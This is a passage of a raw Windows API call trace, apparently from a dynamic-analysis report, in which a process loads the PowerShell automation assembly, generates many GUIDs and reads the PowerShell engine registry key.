lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac090, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1abfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1abfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1abb40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1aba90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1aba90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0113.614] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x6308c325, Data2=0xe286, Data3=0x4247, Data4=([0]=0xb3, [1]=0xac, [2]=0xe5, [3]=0xb2, [4]=0x35, [5]=0x1e, [6]=0xde, [7]=0x6f))) returned 0x0 [0113.615] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x5e8c9813, Data2=0xed0d, Data3=0x4d40, Data4=([0]=0xa9, [1]=0xa1, [2]=0x94, [3]=0x47, [4]=0x9a, [5]=0xa, [6]=0xc7, [7]=0x25))) returned 0x0 [0113.620] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xc4ec22a7, Data2=0x76eb, Data3=0x4d1e, Data4=([0]=0xb7, [1]=0x49, [2]=0x8c, [3]=0xe6, [4]=0x58, [5]=0x6d, [6]=0x37, [7]=0x24))) returned 0x0 [0113.621] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x45f04204, Data2=0xdeb3, Data3=0x49f5, Data4=([0]=0xa1, [1]=0x2d, [2]=0xc1, [3]=0x7e, [4]=0x31, [5]=0xb8, [6]=0x3d, [7]=0x6))) returned 0x0 [0113.622] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xcc67f42d, Data2=0x8328, Data3=0x4471, Data4=([0]=0xab, [1]=0x9d, [2]=0xa2, [3]=0x3e, [4]=0x5b, [5]=0x73, [6]=0xd1, [7]=0xa8))) returned 0x0 [0113.622] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xe6c47474, Data2=0x5a72, Data3=0x4a40, Data4=([0]=0xb8, [1]=0xd5, [2]=0xd3, [3]=0xa5, [4]=0xd, [5]=0xe1, [6]=0x4a, [7]=0x8a))) returned 0x0 [0113.622] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xae539df7, Data2=0x8b2c, Data3=0x41a8, Data4=([0]=0xa2, [1]=0xa7, [2]=0x26, [3]=0x31, [4]=0x8, [5]=0x12, [6]=0x1, [7]=0x75))) returned 0x0 [0113.622] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x84df4121, Data2=0xf7d8, Data3=0x4919, Data4=([0]=0xa9, [1]=0xc9, [2]=0x3e, [3]=0x92, [4]=0x51, [5]=0x9b, [6]=0x1f, [7]=0x35))) returned 0x0 [0113.623] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x29ceca1a, Data2=0xca57, Data3=0x4c3f, Data4=([0]=0x94, [1]=0xaa, [2]=0x34, [3]=0xb6, [4]=0xc5, [5]=0x2f, [6]=0x1b, [7]=0xed))) returned 0x0 [0113.623] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x54fc1296, Data2=0x226c, Data3=0x4b78, Data4=([0]=0x97, [1]=0x5e, [2]=0x69, [3]=0xcf, [4]=0x7e, [5]=0x7f, [6]=0x6a, [7]=0x6c))) returned 0x0 [0113.623] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x5a5797ae, Data2=0x25be, Data3=0x47ac, Data4=([0]=0xb5, [1]=0x4a, [2]=0xe4, [3]=0x3b, [4]=0x17, [5]=0xcf, [6]=0x55, [7]=0x9))) returned 0x0 [0113.625] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x26295db, Data2=0x417d, Data3=0x427a, Data4=([0]=0x89, [1]=0x83, [2]=0xf7, [3]=0xe, [4]=0x2a, [5]=0xec, [6]=0x96, [7]=0xae))) returned 0x0 [0113.627] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x7f835102, Data2=0xfd0a, Data3=0x4ae6, Data4=([0]=0xbc, [1]=0x42, [2]=0x48, [3]=0xee, [4]=0x20, [5]=0x11, [6]=0x8d, [7]=0x88))) returned 0x0 [0113.629] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x13a5d906, Data2=0xd388, Data3=0x4317, Data4=([0]=0xa0, [1]=0xfd, [2]=0xc, [3]=0x46, [4]=0x85, [5]=0xce, [6]=0xe6, [7]=0x6e))) returned 0x0 [0113.629] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xe7808adf, Data2=0x4dbe, Data3=0x4316, Data4=([0]=0xb4, [1]=0xb3, [2]=0x2e, [3]=0x57, [4]=0x8, [5]=0x33, [6]=0xb2, [7]=0x50))) returned 0x0 [0113.629] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x6ba5f4d4, Data2=0xe2f7, Data3=0x4235, Data4=([0]=0x97, [1]=0x22, [2]=0x65, [3]=0xfa, [4]=0xae, [5]=0x3, [6]=0x41, [7]=0xf6))) returned 0x0 [0113.629] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x8013e5b2, Data2=0xd0df, Data3=0x43e8, Data4=([0]=0xb3, [1]=0xa3, [2]=0xcb, [3]=0x9b, [4]=0x44, [5]=0xab, [6]=0x28, [7]=0xe7))) returned 0x0 [0113.630] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x5d691cda, Data2=0x79e, Data3=0x46fc, Data4=([0]=0xab, [1]=0xd1, [2]=0xe8, [3]=0xee, [4]=0x5a, [5]=0x3d, [6]=0xfe, [7]=0x97))) returned 0x0 [0113.630] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xeb044e46, Data2=0x3ac, Data3=0x4eeb, Data4=([0]=0xa5, [1]=0xed, [2]=0xb2, [3]=0xa8, [4]=0x6e, [5]=0xaa, [6]=0x78, [7]=0x49))) returned 0x0 [0113.630] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xc2a3a09e, Data2=0xd284, Data3=0x4950, Data4=([0]=0x92, [1]=0x54, [2]=0xa4, [3]=0x5b, [4]=0xe3, [5]=0xf9, [6]=0xb0, [7]=0xf9))) returned 0x0 [0113.630] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x6b527a3b, Data2=0x9f9c, Data3=0x4461, Data4=([0]=0xb5, [1]=0x81, [2]=0x48, [3]=0xf1, [4]=0x60, [5]=0x26, [6]=0x85, [7]=0x72))) returned 0x0 [0113.645] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acd88 | out: phkResult=0x1acd88*=0x30c) returned 0x0 [0113.645] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1acd0c, lpData=0x0, lpcbData=0x1acd08*=0x0 | out: lpType=0x1acd0c*=0x1, lpData=0x0, lpcbData=0x1acd08*=0x56) returned 0x0 [0113.645] CoTaskMemAlloc (cb=0x5a) returned 0x2878c50 [0113.645] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1accdc, lpData=0x2878c50, lpcbData=0x1accd8*=0x56 | out: lpType=0x1accdc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1accd8*=0x56) returned 0x0 [0113.646] CoTaskMemFree (pv=0x2878c50) [0113.646] RegCloseKey (hKey=0x30c) returned 0x0 [0113.646] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ac9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0113.648] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xc828d8c4, Data2=0x4a89, Data3=0x4b5a, Data4=([0]=0xb3, [1]=0xff, [2]=0x56, [3]=0x4c, [4]=0xc9, [5]=0xca, [6]=0x3a, [7]=0x5))) returned 0x0 [0113.648] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x30264f8b, Data2=0x7a41, Data3=0x4ba5, Data4=([0]=0xb5, [1]=0x6f, [2]=0xcf, [3]=0xc7, [4]=0xff, [5]=0x37, [6]=0x91, [7]=0xcc))) returned 0x0 [0113.648] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xe8d68d67, Data2=0x40fc, Data3=0x4476, Data4=([0]=0xac, [1]=0x12, [2]=0x93, [3]=0xe, [4]=0xb4, [5]=0xc3, [6]=0xd6, [7]=0xcd))) returned 0x0 [0113.648] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x4bcdd35d, Data2=0x4d06, Data3=0x4426, Data4=([0]=0xb0, [1]=0x83, [2]=0xd7, [3]=0x32, [4]=0x56, [5]=0x93, [6]=0xbb, [7]=0x46))) returned 0x0 [0113.649] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xa3e27a85, Data2=0xde9a, Data3=0x4d23, Data4=([0]=0x91, [1]=0x48, [2]=0x71, [3]=0x28, [4]=0x68, [5]=0x64, [6]=0x79, [7]=0xc0))) returned 0x0 [0113.649] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xd2628b92, Data2=0x2166, Data3=0x4132, Data4=([0]=0xb4, [1]=0xd1, [2]=0xf0, [3]=0xa, [4]=0x1b, [5]=0x3f, [6]=0x76, [7]=0x76))) returned 0x0 [0113.649] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x4af62383, Data2=0xa922, Data3=0x429a, Data4=([0]=0xb5, [1]=0x58, [2]=0x2e, [3]=0xc, [4]=0xc, [5]=0x2e, [6]=0x7e, [7]=0xec))) returned 0x0 [0113.649] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x99884c28, Data2=0x24e1, Data3=0x4302, Data4=([0]=0xae, [1]=0xf0, [2]=0xcd, [3]=0x41, [4]=0xf9, [5]=0xc1, [6]=0x34, [7]=0xb))) returned 0x0 [0113.649] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x1e52a74b, Data2=0x239e, Data3=0x4150, Data4=([0]=0xad, [1]=0x13, [2]=0x55, [3]=0xe9, [4]=0xbd, [5]=0x4a, [6]=0x28, [7]=0x7))) returned 0x0 [0113.649] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x7588b66b, Data2=0x2253, Data3=0x4e12, Data4=([0]=0xbf, [1]=0x96, [2]=0xbb, [3]=0xf2, [4]=0x49, [5]=0xd7, [6]=0x67, [7]=0xa7))) returned 0x0 [0113.649] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xf505c8f6, Data2=0x7b67, Data3=0x4b7f, Data4=([0]=0x96, [1]=0xce, [2]=0x6c, [3]=0x9f, [4]=0xe6, [5]=0xda, [6]=0x24, [7]=0x98))) returned 0x0 [0113.650] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xdcb189ee, Data2=0x21ae, Data3=0x4629, Data4=([0]=0xb0, [1]=0xd, [2]=0x36, [3]=0x31, [4]=0xd0, [5]=0x8c, [6]=0xef, [7]=0xde))) returned 0x0 [0113.650] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x9db017c1, Data2=0x2cb7, Data3=0x4501, Data4=([0]=0x9e, [1]=0x70, [2]=0x6c, [3]=0xe6, [4]=0x86, [5]=0x6e, [6]=0x83, [7]=0x73))) returned 0x0 [0113.650] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x7c6ce70f, Data2=0x831e, Data3=0x46b3, Data4=([0]=0xa8, [1]=0xf9, [2]=0xdb, [3]=0xe2, [4]=0xf1, [5]=0x46, [6]=0xa, [7]=0xc9))) returned 0x0 [0113.650] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x5f09e664, Data2=0x9087, Data3=0x4c36, Data4=([0]=0xb9, [1]=0x3a, [2]=0x34, [3]=0x48, [4]=0x19, [5]=0x76, [6]=0xcb, [7]=0xb7))) returned 0x0 [0113.650] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xb8cba708, Data2=0x5289, Data3=0x4500, Data4=([0]=0x98, [1]=0xfd, [2]=0x3d, [3]=0xf0, [4]=0xfa, [5]=0x86, [6]=0x0, [7]=0xf5))) returned 0x0 [0113.650] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x363762c7, Data2=0xa4c4, Data3=0x406e, Data4=([0]=0xb3, [1]=0xf1, [2]=0x62, [3]=0xd, [4]=0xf6, [5]=0xf5, [6]=0x23, [7]=0x88))) returned 0x0 [0113.650] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x24162b, Data2=0xcf5c, Data3=0x41c8, Data4=([0]=0x83, [1]=0x2f, [2]=0x36, [3]=0x37, [4]=0x5, [5]=0xa6, [6]=0x1f, [7]=0x27))) returned 0x0 [0113.650] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x51cc38ba, Data2=0x1f9b, Data3=0x4de3, Data4=([0]=0x80, [1]=0x6e, [2]=0xeb, [3]=0x6a, [4]=0x64, [5]=0x5f, [6]=0x37, [7]=0xda))) returned 0x0 [0113.651] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x53dbc417, Data2=0x737b, Data3=0x408b, Data4=([0]=0xa7, [1]=0xf9, [2]=0xf5, [3]=0xb2, [4]=0x75, [5]=0x59, [6]=0x82, [7]=0xd4))) returned 0x0 [0113.651] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xd8a40950, Data2=0x88cd, Data3=0x40e8, Data4=([0]=0x98, [1]=0x32, [2]=0xc8, [3]=0xfb, [4]=0x5d, [5]=0x53, [6]=0xbd, [7]=0x46))) returned 0x0 [0113.651] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x695b8b89, Data2=0xcf7b, Data3=0x41e1, Data4=([0]=0xa9, [1]=0x90, [2]=0x9e, [3]=0xda, [4]=0xb5, [5]=0xf2, [6]=0x96, [7]=0xf7))) returned 0x0 [0113.651] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xfab8191, Data2=0x357f, Data3=0x4c57, Data4=([0]=0x8b, [1]=0xd5, [2]=0x73, [3]=0x49, [4]=0x1b, [5]=0xc4, [6]=0xbf, [7]=0x6f))) returned 0x0 [0113.652] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x99b5489, Data2=0x98ff, Data3=0x467e, Data4=([0]=0x9c, [1]=0xd8, [2]=0x96, [3]=0x12, [4]=0xac, [5]=0x67, [6]=0x20, [7]=0x3))) returned 0x0 [0113.652] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xb32964fe, Data2=0x34e, Data3=0x4063, Data4=([0]=0xb8, [1]=0xf2, [2]=0x2a, [3]=0xb0, [4]=0xb9, [5]=0xb5, [6]=0xc1, [7]=0xa2))) returned 0x0 [0113.652] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x2ef1b07b, Data2=0x8993, Data3=0x4a1a, Data4=([0]=0x92, [1]=0x15, [2]=0xe3, [3]=0x72, [4]=0x4d, [5]=0x33, [6]=0x88, [7]=0xd))) returned 0x0 [0113.652] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xa1d9a311, Data2=0xf475, Data3=0x4fe0, Data4=([0]=0x9a, [1]=0xd3, [2]=0x44, [3]=0xb, [4]=0xe4, [5]=0xef, [6]=0xea, [7]=0xb))) returned 0x0 [0113.652] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x6dfc138a, Data2=0x466a, Data3=0x4e40, Data4=([0]=0xb2, [1]=0x8f, [2]=0x18, [3]=0x53, [4]=0xcc, [5]=0x34, [6]=0x75, [7]=0xda))) returned 0x0 [0113.652] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xda0f7a0e, Data2=0x8811, Data3=0x4f0c, Data4=([0]=0x95, [1]=0xe, [2]=0x1, [3]=0x5a, [4]=0x64, [5]=0xfc, [6]=0x4e, [7]=0xfe))) returned 0x0 [0113.652] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xa76fb4af, Data2=0xec27, Data3=0x4b18, Data4=([0]=0xb9, [1]=0x69, [2]=0xca, [3]=0x53, [4]=0x36, [5]=0x0, [6]=0xf0, [7]=0x9d))) returned 0x0 [0113.652] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x88974195, Data2=0x9695, Data3=0x4b36, Data4=([0]=0xbb, [1]=0x9e, [2]=0xdd, [3]=0x9, [4]=0xd0, [5]=0x38, [6]=0x16, [7]=0x53))) returned 0x0 [0113.653] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xc9ae9274, Data2=0x1606, Data3=0x4148, Data4=([0]=0x9f, [1]=0x76, [2]=0x56, [3]=0x98, [4]=0x8b, [5]=0x6b, [6]=0x61, [7]=0xc4))) returned 0x0 [0113.653] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x34de9cf0, Data2=0xb9a3, Data3=0x448b, Data4=([0]=0x9f, [1]=0x7f, [2]=0xc3, [3]=0x46, [4]=0x24, [5]=0x2c, [6]=0x57, [7]=0x80))) returned 0x0 [0113.655] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x858cc00b, Data2=0x7177, Data3=0x4384, Data4=([0]=0xbf, [1]=0xa1, [2]=0x7a, [3]=0xde, [4]=0x55, [5]=0x80, [6]=0x40, [7]=0x25))) returned 0x0 [0113.655] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x55ddfa97, Data2=0x171, Data3=0x43ec, Data4=([0]=0x82, [1]=0xc8, [2]=0x66, [3]=0xaf, [4]=0xf8, [5]=0x31, [6]=0xe7, [7]=0xa0))) returned 0x0 [0113.655] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x548a1a6c, Data2=0x6f9b, Data3=0x4a93, Data4=([0]=0x9e, [1]=0xec, [2]=0x30, [3]=0x3b, [4]=0x9f, [5]=0x5, [6]=0x3e, [7]=0x64))) returned 0x0 [0113.655] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x51bf47a0, Data2=0xdb24, Data3=0x438a, Data4=([0]=0xbb, [1]=0xe0, [2]=0x55, [3]=0xf9, [4]=0xc8, [5]=0x39, [6]=0x33, [7]=0xd0))) returned 0x0 [0113.656] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x66269d84, Data2=0xefe7, Data3=0x4fd6, Data4=([0]=0x90, [1]=0xb4, [2]=0xb2, [3]=0xee, [4]=0xf2, [5]=0x5, [6]=0x67, [7]=0x66))) returned 0x0 [0113.656] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x64e554df, Data2=0x320d, Data3=0x4c4d, Data4=([0]=0x87, [1]=0xfe, [2]=0x45, [3]=0xc0, [4]=0x80, [5]=0xe8, [6]=0xdc, [7]=0xe8))) returned 0x0 [0113.656] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xafd9966d, Data2=0xd283, Data3=0x4b0a, Data4=([0]=0xbf, [1]=0x96, [2]=0x9d, [3]=0xd9, [4]=0xb7, [5]=0x79, [6]=0xf9, [7]=0xd6))) returned 0x0 [0113.656] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x54cc9e48, Data2=0x7a61, Data3=0x4508, Data4=([0]=0x99, [1]=0x98, [2]=0x79, [3]=0x8e, [4]=0xae, [5]=0xa3, [6]=0x14, [7]=0xc7))) returned 0x0 [0113.656] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x7b5f4db8, Data2=0xb154, Data3=0x42ef, Data4=([0]=0xa3, [1]=0x30, [2]=0xc9, [3]=0xc2, [4]=0xe3, [5]=0x95, [6]=0x2c, [7]=0x1))) returned 0x0 [0113.657] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x31b448b7, Data2=0x4118, Data3=0x45cc, Data4=([0]=0xb0, [1]=0xa7, [2]=0x64, [3]=0x39, [4]=0x21, [5]=0xc1, [6]=0x2a, [7]=0x63))) returned 0x0 [0113.657] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xc2376bae, Data2=0x6e8c, Data3=0x4539, Data4=([0]=0xbe, [1]=0x14, [2]=0x94, [3]=0xb3, [4]=0xee, [5]=0x38, [6]=0x17, [7]=0x4d))) returned 0x0 [0113.657] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x51c5b52a, Data2=0x7b0c, Data3=0x4714, Data4=([0]=0x84, [1]=0xde, [2]=0x4d, [3]=0xb8, [4]=0xad, 